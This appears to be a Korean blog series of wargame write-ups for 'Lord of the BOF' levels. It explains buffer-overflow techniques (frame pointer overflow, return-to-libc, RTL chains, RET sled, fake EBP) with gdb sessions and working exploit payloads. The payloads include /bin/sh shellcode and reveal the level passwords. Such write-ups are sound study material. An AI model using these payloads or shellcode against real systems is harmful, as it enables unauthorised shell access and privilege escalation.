'Lord of Buffer Overflow' 카테고리의 다른 글

nightmare -> xavius  (0) 2023.02.03
succubus -> nightmare  (4) 2023.02.03
assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
728x90

assassin / pushing me away

/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48); 
	printf("%s\n", buffer);
}

문제 힌트에 FEBP가 주어져있다. FEBP란 Fake EBP를 의미한다.

fake ebp란 ebp를 변조해서 프로그램 실행 흐름을 조작하는 기법이다. 지금처럼 ret 주소뒤에 덮어쓸 수 없을 때 사용하면 된다.

main 함수에서 에필로그 과정에서 ret 명령 실행 시 leave 명령어의 주소로 다시 이동하여 에필로그 과정을 한 번 더 수행하는 방식이다. main 함수 스택의 sfp에 쉘 코드 주소의 주소 - 4를 저장한다. 리턴 주소를 leave 명령어의 주소로 설정하여 다시 에필로그 과정을 수행한다. leave 명령의 mov esp, ebp로 인해 esp엔 쉘 코드 주소의 주소 - 4가 저장된다. 그리고 pop ebp를 수행하기 때문에 esp는 4 증가한다. esp는 이제 쉘 코드 주소의 주소가 되었다. 이제 ret 명령을 실행한다. pop eip, jmp eip이기 때문에 쉘 코드 주소가 eip에 저장되고 쉘 코드 주소로 점프한다. 마침내 쉘 코드가 실행된다.

우선 buffer의 주소를 알아보자. zombie_assassin을 복사하여 gdb를 실행한다. main+139에 break point를 걸고 실행하였다.

[assassin@localhost assassin]gdb zombie_assassin2 -q
(gdb) b main
Breakpoint 1 at 0x8048446
(gdb) b *main+139
Breakpoint 2 at 0x80484cb
(gdb) r `python -c 'print "A"*4+"\x90"*36+"B"*4+"C"*4+"\x90"*100+"D"*25'`
Starting program: /home/assassin/zombie_assassin2 `python -c 'print "A"*4+"\x90"*36+"B"*4+"C"*4+"\x90"*100+"D"*25'`

(gdb) disas main
(생략)
0x80484d7 <main+151>:	call   0x8048354 <printf>
0x80484dc <main+156>:	add    $0x8,%esp
0x80484df <main+159>:	leave  
0x80484e0 <main+160>:	ret    
0x80484e1 <main+161>:	nop    

Breakpoint 1, 0x8048446 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80484cb in main ()
(gdb) x/30x $esp
0xbffffa04:	0xbffffa10	0xbffffb97	0x00000030	0x41414141
0xbffffa14:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa24:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa34:	0x90909090	0x42424242	0x43434343	0x00000002
0xbffffa44:	0xbffffa84	0xbffffa90	0x40013868	0x00000002
(생략)
(gdb) x/150x $ebp
(생략)
0xbffffba8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbb8:	0x90909090	0x42909090	0x43424242	0x90434343
0xbffffbc8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbd8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbe8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffbf8:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc08:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc18:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc28:	0x44909090	0x44444444	0x44444444	0x44444444
0xbffffc38:	0x44444444	0x44444444	0x44444444	0x44575000

A: 쉘 코드의 주소 (0xbffffbe8)
B: buffer의 주소-4 (0xbffffa0c)
C: ret 주소 (0x80484df)
D: 쉘 코드

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "\xe8\xfb\xff\xbf"+"\x90"*36+"\x0c\xfa\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*100+"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
鼿¿ 
   ߄ 
bash$ my-pass
euid = 516
no place to hide

zombie_assassin 비밀번호 no place to hide

참고로 argv[1] 공간을 이용해서 풀었는데 buffer 공간에 쉘 코드를 저장해서 푸는 것도 가능하다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
giant -> assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
728x90

giant / one step closer

/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

retn 주소를 stack 영역 또는 공유 라이브러리 영역으로 덮어쓰는 것을 방지하고 있다. 또한 buffer부터 sfp까지 0으로 초기화하는 것을 알 수 있다. 이번엔 RET Sled를 사용해 본다.

RET Sled란 retn 주소에 ret 명령어의 주소를 넣어서 retn 주소가 저장되는 공간의 아래 위치에 호출할 함수를 넣는 것이다.

<기존의 stack 구조>

buffer
sfp
retn 주소
argc
argv addr

<RET Sled 스택 구조>

buffer
sfp
retn 주소
(retn 명령어)
system 함수 주소
dummy
system 함수 인자
("/bin/sh")

retn 주소에 assassin 코드의 main 함수 에필로그 부분의 retn 명령어의 주소로 설정하면 다시 retn을 실행할 것이다. retn 과정은 pop eip, jmp eip이므로 결국 +4 주소에 위치한 system 함수 주소로 이동하여 system("/bin/sh")를 실행하는 것이다.

원래 dummy 자리는 다음 호출할 함수의 주소이지만 다음에 호출할 함수가 없기에 dummy를 넣는다. 또한 system 함수가 ebp+8부터 인자를 받기에 dummy가 필요하다.

retn 명령어 주소, system 함수 주소와 "/bin/sh" 주소 찾는 것은 이전 문제들에서 이미 진행했다.

<retn 명령어 주소>

0x8048515 <main+165>:	call   0x8048398 <memset>
0x804851a <main+170>:	add    $0xc,%esp
0x804851d <main+173>:	leave  
0x804851e <main+174>:	ret    
0x804851f <main+175>:	nop    
End of assembler dump.

<system 함수 주소>

(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

libc는 stand C libraries로서 다양한 기본 함수들이 존재한다. system, printf 등등 말이다. 그리고 "/bin/sh" 문자열도 존재한다. 따라서 libc에서 문자열을 찾는데 시작 주소는 system 주소로 설정한다.

<"/bin/sh" 문자열 주소>

[giant@localhost giant]$ cat getaddr.c
#include <stdio.h>
#include <string.h>
int main(){
	long sh=0x40058ae0;
	while(memcmp((void*)sh, "/bin/sh",8))
		sh++;
	printf("%p\n",sh);
}
[giant@localhost giant]$ ./getaddr
0x400fbff9
[giant@localhost giant]$ ./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɀAAAA
bash$ my-pass
euid = 515
pushing me away

assassin의 비밀번호는 pushing me away

 

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
golem -> darkknight  (0) 2023.01.26
728x90

bugbear / new divide

[bugbear@localhost bugbear]$ cat giant.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main(int argc, char *argv[])
{
	char buffer[40];
	FILE *fp;
	char *lib_addr, *execve_offset, *execve_addr;
	char *ret;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// gain address of execve
	fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "(%x)", &lib_addr);
	fclose(fp);

	fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
	fgets(buffer, 255, fp);
	sscanf(buffer, "%x", &execve_offset);
	fclose(fp);

	execve_addr = lib_addr + (int)execve_offset;
	// end

	memcpy(&ret, &(argv[1][44]), 4);
	if(ret != execve_addr)
	{
		printf("You must use execve!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

execve함수를 반드시 실행해야 한다.

execve 함수 형태는 다음과 같다.

#include <unistd.h>

int execve(const char *pathname, char *const argv[], char *const envp[]);

pathname에 파일명을 넣고, argv에는 파일명이 저장된 배열의 주소를 넣어야 한다.

사용 방식은 다음과 같다.

#include <unistd.h>
int main(){
	char* argv[2]={"/bin/sh",NULL};
    	execve("/bin/sh",argv,NULL);
}

이 문제에선 execve 함수의 두 번째 인자인 argv에 전달할 값을 모른다. 따라서 execve 함수를 호출 후 종료하고 system 함수를 호출하며 "/bin/sh"을 전달하는 방식으로 해결할 것이다. 이전 bugbear 문제는 RTL방식이었다면 이번엔 함수를 연달아 호출하는 RTL Chain 방식이다.

일반적인 형태는 다음과 같다. (func1 인자 2개, func2의 인자가 1개라고 가정)

buffer sfp ret addr
(func1)
pop pop retn
주소
func1
param1
func1
param2
func2
주소
dummy func2 param

과정을 살펴보면 func1으로 돌아가서 push ebp부터 시작해서 leave, ret 거치면서 pop retn 명령어의 주소로 eip가 설정될 것이다. 자연스럽게 pop pop retn 명령어를 각각 수행하면 func1 param1, param2는 pop 될 것이고 func2 주소로 retn 되어 func2가 실행될 것이다. func2 다음엔 호출할 함수가 없기에 dummy가 들어간다. 원래 func 다음엔 다음에 호출할 함수 주소가 들어간다.

직접 테스트한 글이 있기에 참고하면 도움이 될 것이다.

https://kblab.tistory.com/222

https://kblab.tistory.com/218

이 문제를 풀기 위해선 다음과 같이 payload를 구성한다.

buffer sfp ret addr
(execve 함수)
retn addr
(system 함수)
dummy system 함수
param
("/bin/sh")

이제 execve 함수, system 함수, "/bin/sh"문자열의 주소를 구해보자.

[bugbear@localhost bugbear]$ gdb giant2 -q
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r aaaa
Starting program: /home/bugbear/giant2 aaaa

Breakpoint 1, 0x8048566 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p execve
$2 = {<text variable, no debug info>} 0x400a9d48 <__execve>

system 주소: 0x40058ae0

execve 주소: 0x400a9d48

[bugbear@localhost bugbear]$ cat getaddr.c
#include <stdio.h>
#include <string.h>
int main(){
	long sh=0x40058ae0;
	while(memcmp((void*)sh,"/bin/sh",8)){
		sh++;
	}
	printf("%p\n",sh);
}
[bugbear@localhost bugbear]$ gcc getaddr.c -o getaddr
[bugbear@localhost bugbear]$ ./getaddr
0x400fbff9

"/bin/sh" 주소: 0x400fbff9

payload를 완성해 보자.

[bugbear@localhost bugbear]$ ./giant "`python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH 
@ɀAAAA
bash$ my-pass
euid = 514
one step closer

위에 만든 형식대로 주소값을 대입했다. 주의할 점은 `python ~ ` 이 아니라 "`python ~`"인 것이다. execve 주소 인자에 \x0a가 들어가는데 print로 출력하면 개행임을 알 수 있다. 따라서 "(큰 따옴표)로 앞 뒤를 묶어서 문자로 처리한다.

giant의 비밀번호는 one step closer이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
golem -> darkknight  (0) 2023.01.26
skeleton -> golem  (0) 2023.01.25
728x90

darkknight / new attacker

[darkknight@localhost darkknight]$ cat bugbear.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack betrayed you!!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);
}

RTL(Return To Library) 문제다.

공유 라이브러리 영역의 system 함수 주소로 return 하면서 인자로 /bin/sh을 전달하면 된다.

system함수를 쓸 수 있는 이유는 libc.so.6 공유 라이브러리에 printf 함수가 있기에 비록 코드에는 printf 함수만 쓰이지만 libc.so.6 공유 라이브러리가 로드되기 때문에 system 함수도 참조할 수 있다.

따라서 system("/bin/sh") 형태로 호출할 것이다.

bugbear을 복사 후 gdb로 실행한다.

(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r AAAA
Starting program: /home/darkknight/bugbear2 AAAA

Breakpoint 1, 0x8048436 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>

p는 print 명령의 약자다. system 함수의 주소는 0x40058ae0이다.

"/bin/sh" 문자열의 주소를 찾을 단계다. system 함수 주소 옆에 libc system이 보인다. libc는 stand C libraries로서 다양한 기본 함수들이 존재한다. system, printf 등등 말이다. 그리고 "/bin/sh" 문자열도 존재한다. 따라서 libc에서 문자열을 찾는데 시작 주소는 system 주소로 설정한다.

#include <stdio.h>
main(){
	long shell=0x40058ae0;
	while(memcmp((void*)shell,"/bin/sh",8))
		shell++;
	printf("%p\n",shell);
}

shell 변수에 system 함수의 주소를 넣고 "/bin/sh"을 찾을 때까지 shell 변수를 증가시켜 최종적으로 "/bin/sh" 문자열의 주소를 찾는다. memcmp 대신 strncmp를 사용해도 동일한 결과를 얻을 수 있다. memcmp와 strncmp 함수의 차이는 strncmp 함수는 널문자를 만나면 비교를 멈추는데 memcmp 함수는 널문자를 만나도 주어진 크기만큼 비교를 실시한다.

컴파일 후 실행한 결과는 다음과 같다.

[darkknight@localhost darkknight]$ gcc getaddr.c -o getaddr
[darkknight@localhost darkknight]$ ./getaddr
0x400fbff9

이제 payload를 전달해야 한다.

RTL 방식에서는 다음과 같이 payload를 구성한다.

buffer sfp ret addr
(system함수)
dummy system param
("/bin/sh")

main 함수의 retn 주소를 system 함수로 설정하고 "/bin/sh"을 system 함수의 인자로 줄 것이다.

system("/bin/sh") 형태로 함수를 실행하게 된다.

dummy가 들어가는 이유는 system 함수가 ebp+8 주소부터 인자로 받기 때문이다. 또한 dummy는 원래 system 함수 다음에 호출할 함수 주소가 들어간다. RTL Chain 방식에서 더 자세하게 알 수 있다. 지금은 system 함수만 호출하기 때문에 dummy로 설정한다. RTL의 동작 방식에 대해 구체적으로 알고 싶으면 다음의 링크를 참고하자.

https://kblab.tistory.com/218

 

Return To Library (RTL)

Return To Libray (RTL) 개념 NX Bit(Never Execute Bit)가 적용된 스택을 우회하기 위해서 사용되는 기법. * NX BitNX Bit는 프로세스 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의

kblab.tistory.com

[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɀAAAA
bash$ my-pass
euid = 513
new divide

bugbear의 비밀번호는 new divide이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

giant -> assassin  (0) 2023.02.01
bugbear -> giant  (0) 2023.02.01
golem -> darkknight  (0) 2023.01.26
skeleton -> golem  (0) 2023.01.25
vampire -> skeleton  (0) 2023.01.24
728x90

golem / cup of coffee

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
	char buffer[40];
	strncpy(buffer, src, 41);
	printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
	if(argc<2){
		printf("argv error\n");
		exit(0);
	}

	problem_child(argv[1]);
}

코드 상단에 FPO라고 힌트가 주어졌다. Frame Pointer Overflow 약자로 overflow를 이용해 Frame Pointer를 조작한다.

보면 buffer는 40bytes인데 41bytes를 src로부터 복사하도록 코드가 짜여있다.

gdb로 보면 buffer의 40bytes 밑에는 sfp(4bytes)와 retn(4btyes)가 존재한다. 따라서 41bytes를 복사하면서 sfp의 하위 1bytes를 수정하여 원하는 주소로 이동해야한다.

FPO를 위해선 함수의 에필로그 과정을 알아야한다.

함수를 호출할 때는 프롤로그 과정이 진행된다. 다음과 같은 순서로 이루어진다.

1. push ebp
2. mov ebp, esp
3. sub esp, N

함수를 종료할 때는 에필로그 과정이 진행된다.

1. leave
2. ret

leave 명령을 세부적으로 표현하면 다음과 같다.

1-1. mov esp, ebp
1-2. pop ebp

ret 명령을 세부적으로 표현하면 다음과 같다.

2-1. pop eip (assembly에서 pop eip는 실제로 없음. 개념적으로 표현할 때만 사용)
2-2. jmp eip

에필로그 과정을 주목해야한다. darkknight 코드에서 problem_child를 호출하고 종료할때 epilogue 과정이 진행되는데 우리는 sfp의 하위 1byte를 덮어썼기에 leave 명령어 실행 결과 ebp에는 우리가 조작한 sfp가 들어가게된다.

이어서 retn 명령어 실행 후 종료하며 main 함수로 돌아오는데 main 함수의 마지막 부분이기에 main 함수도 바로 에필로그 과정을 진행한다. leave 명령어를 실행하는데 ebp에는 이미 우리가 조작한 sfp가 들어가 있기에 mov esp, ebp 후에 esp에도 우리가 조작한 ebp가 들어가며 pop ebp 후엔 스택의 ebp 주소에 저장된 값이 ebp에 들어간다. pop을 했기에 esp는 4 증가하고 pop eip 후에 스택의 해당 주소(esp)에 저장된 값이 eip에 저장된다. 마침내 jmp eip로 eip값으로 점프해서 명령을 실행한다.

[golem@localhost golem]$ gdb DARKKNIGHT -q
(gdb) disas problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>:	push   %ebp
0x8048441 <problem_child+1>:	mov    %esp,%ebp
0x8048443 <problem_child+3>:	sub    $0x28,%esp
0x8048446 <problem_child+6>:	push   $0x29
0x8048448 <problem_child+8>:	mov    0x8(%ebp),%eax
0x804844b <problem_child+11>:	push   %eax
0x804844c <problem_child+12>:	lea    0xffffffd8(%ebp),%eax
0x804844f <problem_child+15>:	push   %eax
0x8048450 <problem_child+16>:	call   0x8048374 <strncpy>
0x8048455 <problem_child+21>:	add    $0xc,%esp
0x8048458 <problem_child+24>:	lea    0xffffffd8(%ebp),%eax
0x804845b <problem_child+27>:	push   %eax
0x804845c <problem_child+28>:	push   $0x8048500
0x8048461 <problem_child+33>:	call   0x8048354 <printf>
0x8048466 <problem_child+38>:	add    $0x8,%esp
0x8048469 <problem_child+41>:	leave  
0x804846a <problem_child+42>:	ret    
0x804846b <problem_child+43>:	nop    
End of assembler dump.
(gdb) b *problem_child+21
Breakpoint 1 at 0x8048455
(gdb) r `python -c 'print "A"*4+"B"*36+"C"'`
Starting program: /home/golem/DARKKNIGHT `python -c 'print "A"*4+"B"*36+"C"'`

Breakpoint 1, 0x8048455 in problem_child ()
(gdb) x/20x $esp
0xbffffa98:	0xbffffaa4	0xbffffc39	0x00000029	0x41414141
0xbffffaa8:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffffab8:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffffac8:	0x42424242	0xbffffa43	0x0804849e	0xbffffc39
0xbffffad8:	0xbffffaf8	0x400309cb	0x00000002	0xbffffb24

첫 번째 방식

우선 darkknight 실행파일을 복사하여 gdb를 실행했다. problem_child 함수 내부에서 strncpy 후에 break을 걸고 들여다 본다. 0x4141~부터가 buffer임을 알 수 있다. 그럼 쉘 코드를 buffer에 넣고 그 주소로 이동할 수 있다면 공격이 성공할 것이다. 0xbffffa94로 sfp를 조작하면 main 함수 에필로그 과정에서 mov esp, ebp 후에 pop ebp를 하면  ebp는 0xbffffa94가 될 것이고 esp는 0xbffffa98이 될 것이다. 이어서 ret 과정에서 pop eip, jmp eip 하면 eip에는 0xbffffa98에 저장된 0xbffffaa4가 들어가고 0xbffffaa4로 점프하여 쉘 코드를 실행할 수 있을 것이다. 참고로 0xbffffa98에 0xbffffaa4(buffer 주소)가 있는 이유는 strncpy 함수의 첫번째 인자가 buffer 주소이기 때문이다.

[golem@localhost golem]$ ./DARKKNIGHT `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x94"'`
1󿿐h//shh/bin⏓󿲒°
               ̀4@ 
Segmentation fault (core dumped)
[golem@localhost golem]$ gdb -c core -q
Core was generated by `./DARKKNIGHT 1󿿐h//shh/bin⏓󿲒°
                                                   ̀'.
Program terminated with signal 11, Segmentation fault.
#0  0x804850c in ?? ()
(gdb) x/30x $esp-20
0xbffffa88:	0x400143e0	0xbffffaa4	0x40066070	0x40106980
0xbffffa98:	0x08048500	0xbffffab4	0x401081ec	0xbffffadc
0xbffffaa8:	0x08048466	0x08048500	0xbffffab4	0x90909090
0xbffffab8:	0x90909090	0x90909090	0x31909090	0x2f6850c0
0xbffffac8:	0x6868732f	0x6e69622f	0x5350e389	0xd231e189
0xbffffad8:	0x80cd0bb0	0xbffffa94	0x0804849e	0xbffffc34
0xbffffae8:	0xbffffb08	0x400309cb	0x00000002	0xbffffb34

core dumped가 발생했고 core 파일을 보니 0xbffffab4가 주소 0xbffffab0에 존재하고 있다. 그럼 4를 뺀 값인 0xbffffaac를 전달하자. 4를 빼는 것은 위에서 언급했듯이 pop 과정에서 esp 값이 4 증가하기 때문이다.

[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xac"'`
1󿿐h//shh/bin⏓󿲒°
               ̀¬4       @ 
bash$ my-pass
euid = 512
new attacker

두  번째 방식

buffer 내부에 쉘 코드를 넣고 쉘 코드의 주소를 buffer 시작 주소에 넣는다. 그리고 sfp를 버퍼 시작 주소로 설정한다.

(gdb) R `python -c 'print "aaaa"+"\x90"*11+"f"*25+"c"'`
Starting program: /home/golem/DARKKNIGHT `python -c 'print "aaaa"+"\x90"*11+"f"*25+"c"'`

Breakpoint 1, 0x804846f in main ()
(gdb) c
Continuing.
Breakpoint 4, 0x8048455 in problem_child ()
(gdb) x/50x $ebp-60
0xbffffa90:	0xbffffacc	0x08048455	0xbffffaa4	0xbffffc39
0xbffffaa0:	0x00000029	0x61616161	0x90909090	0x90909090
0xbffffab0:	0x66909090	0x66666666	0x66666666	0x66666666
0xbffffac0:	0x66666666	0x66666666	0x66666666	0xbffffa63
0xbffffad0:	0x0804849e	0xbffffc39	0xbffffaf8	0x400309cb
0xbffffae0:	0x00000002	0xbffffb24	0xbffffb30	0x40013868

buffer 시작 주소는 0xbffffaa4이고 쉘 코드의 주소는 \x90 주소중 하나인 0xbffffaa8로 설정한다. sfp의 하위 1 byte에는 \xa0이 들어가야 쉘 코드로 점프할 수 있다.

[golem@localhost golem]$ ./DARKKNIGHT `python -c 'print "\xa8\xfa\xff\xbf"+"\x90"*11+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xa0"'`
¨󿐐1󿿐h//shh/bin⏓󿲒°
                 ̀ 4     @ 
Segmentation fault (core dumped)
[golem@localhost golem]$ gdb -c core -q
Core was generated by `./DARKKNIGHT ¨󿐐1󿿐h//shh/bin⏓󿲒°
                                                     ̀ '.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffadc in ?? ()
(gdb) x/30x $esp-40
0xbffffa80:	0xbffffadc	0x4005d920	0x400143e0	0xbffffaa4
0xbffffa90:	0x40066070	0x40106980	0x08048500	0xbffffab4
0xbffffaa0:	0x401081ec	0xbffffadc	0x08048466	0x08048500
0xbffffab0:	0xbffffab4	0xbffffaa8	0x90909090	0x90909090
0xbffffac0:	0x31909090	0x2f6850c0	0x6868732f	0x6e69622f
0xbffffad0:	0x5350e389	0xd231e189	0x80cd0bb0	0xbffffaa0
0xbffffae0:	0x0804849e	0xbffffc34	0xbffffb08	0x400309cb

core파일을 보니 buffer 주소가 0xbffffab4, 쉘 코드 주소는 0xbffffab8로 바뀌어 있다.

[golem@localhost golem]$ ./darkknight `python -c 'print "\xb8\xfa\xff\xbf"+"\x90"*11+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xb0"'`
¸󿐐1󿿐h//shh/bin⏓󿲒°
                 ̀°4     @ 
bash$ my-pass
euid = 512
new attacker

세 번째 방식

이번엔 buffer 공간이 아닌 argv[1] 공간을 이용해본다.

argv[1]에 \x90+쉘 코드 조합을 포함하여 전달하고 \x90의 주소를 buffer에 시작 위치에 삽입한다.

그리고 buffer의 시작 주소로 sfp을 변경한다면 NOP Sled 방식으로 쉘 코드를 실행할 수 있을 것이다.

[golem@localhost golem]$ gdb DARKKNIGHT -q
(gdb) b main
Breakpoint 1 at 0x804846f
(gdb) r `python -c 'print "A"*40+"B"+"\x90"*100+"A"*25'`
Starting program: /home/golem/DARKKNIGHT `python -c 'print "A"*40+"B"+"\x90"*100+"A"*25'`

(gdb) b *problem_child+21
Breakpoint 2 at 0x8048455
(gdb) c
Continuing.

Breakpoint 2, 0x8048455 in problem_child ()
(gdb) x/30x $esp
0xbffffa28:	0xbffffa34	0xbffffbbc	0x00000029	0x41414141
0xbffffa38:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa48:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa58:	0x41414141	0xbffffa42	0x0804849e	0xbffffbbc
0xbffffa68:	0xbffffa88	0x400309cb	0x00000002	0xbffffab4
0xbffffa78:	0xbffffac0	0x40013868	0x00000002	0x08048390
0xbffffa88:	0x00000000	0x080483b1	0x0804846c	0x00000002

buffer의 시작 주소가 0xbffffa34임을 확인했다.

(gdb) b *main+50
Breakpoint 3 at 0x804849e
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB¼󿉺ÿ¿	@ 

Breakpoint 3, 0x804849e in main ()
(gdb) x/200x $ebp
0xbffffa42:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa52:	0x41414141	0x41414141	0xfa424141	0x849ebfff
0xbffffa62:	0xfbbc0804	0xfa88bfff	0x09cbbfff	0x00024003
(생략)
0xbffffbb2:	0x4b4b5241	0x4847494e	0x41410054	0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffffbc2:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbd2:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffbe2:	0x90424141	0x90909090	0x90909090	0x90909090
0xbffffbf2:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc02:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc12:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc22:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffc32:	0x90909090	0x90909090	0x90909090	0x90909090

\x90들 주소 중 하나인 0xbffffc02를 골랐다.

[golem@localhost golem]$ ./darkknight `python -c 'print "\x02\xfc\xff\xbf"+"A"*36+"\x30"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
򀀁AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0·󿉺ÿ¿	@ 
bash$ my-pass
euid = 512
new attacker
bash$

위처럼 payload를 전달하면 strncpy에 의해 buffer엔 0xbffffc02+"A"*36 형식으로 찰 것이고, sfp는 0xbffffa30이 된다. problem_child를 종료하고 main 함수의 에필로그 과정 중에 leave에서 mov esp, ebp & pop ebp가 실행된다. 이때 ebp는 0xbffffa30이기에 esp도 0xbffffa30이 된다. pop ebp에 의해 esp는 +4 되어 0xbffffa34가 될 것이고 이제 에필로그 과정의 마지막인 ret가 실행된다. ret 세부과정인 pop eip에서 0xbffffa34(현재 esp이자 buffer 주소)에 저장된 0xbffffc02가 eip에 저장되고 jmp eip에 의해 0xbffffc02로 이동하여 해당 주소에 저장된 명령을 실행한다. 마침내 NOP Sled가 발생하며 최종적으로 쉘 코드가 실행된다.

darkknight의 비밀번호는 new attacker이다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

bugbear -> giant  (0) 2023.02.01
darkknight -> bugbear  (0) 2023.01.31
skeleton -> golem  (0) 2023.01.25
vampire -> skeleton  (0) 2023.01.24
troll -> vampire  (2) 2023.01.24
728x90

skeleton / shellcoder

[skeleton@localhost tmp]$ cat ../golem.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

